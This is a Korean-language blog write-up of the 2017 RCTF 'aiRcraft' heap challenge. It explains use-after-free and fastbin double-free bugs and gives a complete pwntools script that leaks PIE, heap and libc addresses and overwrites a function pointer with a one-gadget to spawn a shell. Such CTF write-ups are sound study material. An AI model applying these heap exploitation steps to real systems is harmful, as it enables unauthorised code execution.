2017 rctf aircraft
취약점은 쉽지만 익스플로잇이 너무 길다..
중간중간에 짜다가 까먹어서 머리가 터질뻔했다. 이런 힙문제는 노트에 적어가면서 해야하나..
이 바이너리에서 내가 찾은 취약점은 총 세개이다.
- uaf
- fastbin dup
- out of bound
처음에 oob로 풀려고 했는데 free후 next chunk에 생기는 prev size에 접근할 때 세폴이 떠서 이 방법으로는 익스를 못했다..
UAF
위 구문에 의해서 UAF를 다룰 수 있다.
어떤 airport로 옮겨갔는지 출력해준다. plain chunk size는 0x48이므로 이를 free한 후 airport를 0x48만큼 할당하여 free_func(pie)를 leak할 수 있다.
동일한 방법으로 heap도 leak이 가능하다.
FASTBIN DUP
다른 airport로 옮겨갈시 airport_list + 8*i + 8
에 plain의 주소를 넣는다.
plain chunk
를 free할 시 plain_chunk_list
를 앞당겨주고 자신의 주소를 삭제한다. (unlink 비슷)
그리고 나서 함수포인터를 이용하여 free를 진행한다.
여기서 plain_chunk
의 주소는 plain_chunk_list
에서 사라졌다. 하지만 다른 airport에 속해있는 상태라면 airport_list
에 plain_chunk
의 주소가 남아있을 것이다.
속해있는 모든 plain_chunk
와 airport_list
를 free시킨다. 즉 double free가 발생한다.
libc의 주소는 fastbin dup을 이용하여 airport를 heap쪽으로 할당받은 후 company 부분을 bss에 존재하는 stdout, stdin, stderr 의 주소로 바꿔주면 leak할 수 있다.
최종적으로 함수 포인터 부분에 oneshot가젯을 넣고 쉘을 트리거했다.
x
from pwn import *
#context.log_level = 'debug'
e = ELF('./aiRcraft')
#s = process(e.path)
#l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
s = process(e.path, env = {'LD_PRELOAD':'./libc.so.6'})
l = ELF('./libc.so.6')
ru = lambda x: s.recvuntil(x)
def sl(x):
ru(': ')
s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
# 0x0000555555554000
def menu(sel):
sl(sel)
def buy_plane(company, name):
menu('1')
sl(company)
sl(name)
def build_airport(length, name):
menu('2')
ru('name? ')
s.sendline(length)
sl(name)
def enter_airport(airport, choice, toggle=0):
menu('3')
ru('choose? ')
s.sendline(airport)
sl(choice)
if toggle:
sl('3')
def sel_plane(plane, choice, airport='', toggle=0):
menu('4')
ru('choose? ')
s.sendline(plane)
sl(choice)
if toggle:
ru('fly? ')
s.sendline(airport)
sl('3')
def leakage(plane, choice, airport, pay):
menu('4')
ru('choose? ')
s.sendline(plane)
sl(choice)
ru('fly? ')
s.sendline(airport)
ru(pay)
leak = u64(s.recv(6).ljust(8, '\x00'))
sl('3')
return leak
dump = '''
1. List all the plane
2. Sell the airport
3. Exit
1. Fly to another airport
2. Sell the plane
3. Exit
'''
# PIE LEAK #
#####################################
buy_plane('1', 'plane1')
buy_plane('2', 'plane2')
sel_plane('plane1', '2')
build_airport(str(0x40), 'A'*0x40)
leak = leakage('plane2', '1', '0', 'A'*0x40)
print('leak!: {}'.format(hex(leak)))
main = leak - 0xb7d
print('main!: {}'.format(hex(main)))
stdout = main + 0x202040
# FASTBIN DUP #
#####################################
buy_plane('1', 'plane3')
buy_plane('2', 'plane4')
build_airport(str(0x100), 'airport2')
sel_plane('plane3', '1', 'airport2', 1)
sel_plane('plane3', '2')
sel_plane('plane4', '2')
enter_airport('airport2', '2')
# HEAP LEAK #
#####################################
buy_plane('1', p64(0))
buy_plane('2', 'f2')
buy_plane('3', 'f3')
build_airport(str(0x40), 'A'*0x38)
buy_plane('4', 'plane5')
leak = leakage('plane5', '1', '2', 'A'*0x38)
print('leak!: {}'.format(hex(leak)))
dup = leak + 0x40
# LIBC LEAK #
#####################################
buy_plane('1', 'plane3')
buy_plane('2', 'plane4')
build_airport(str(0x100), 'airport3')
sel_plane('plane3', '1', 'airport3', 1)
sel_plane('plane3', '2')
sel_plane('plane4', '2')
enter_airport('airport3', '2')
buy_plane('1', p64(dup))
buy_plane('1', 'f1')
buy_plane('1', 'f2')
build_airport(str(0x40), p64(dup) + 'A'*0x18 + p64(stdout))
sel_plane(p64(dup), '1', 'airport3', 1)
enter_airport('airport3', '1', '1')
ru('Build by ')
leak = u64(s.recv(6).ljust(8, '\x00'))
print('leak!: {}'.format(hex(leak)))
libc_base = leak - 0x3c4620
#libc_base = leak - 0x3c5620
print('libc_base!: {}'.format(hex(libc_base)))
onelist = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one = libc_base + onelist[0]
# EXPLOIT #
#####################################
buy_plane('1', p64(dup))
build_airport(str(0x48), p64(dup)*8 + p64(one))
#p()
sel_plane(p64(dup), '2')
io()
'system > writeup' 카테고리의 다른 글
2014 hitcon sktof (0) | 2019.02.01 |
---|---|
pwnable.kr crypto1 (0) | 2019.02.01 |
2019 codegate aeiou (0) | 2019.01.29 |
2017 rctf rnote (0) | 2019.01.28 |
2019 insomnihack onewrite (0) | 2019.01.27 |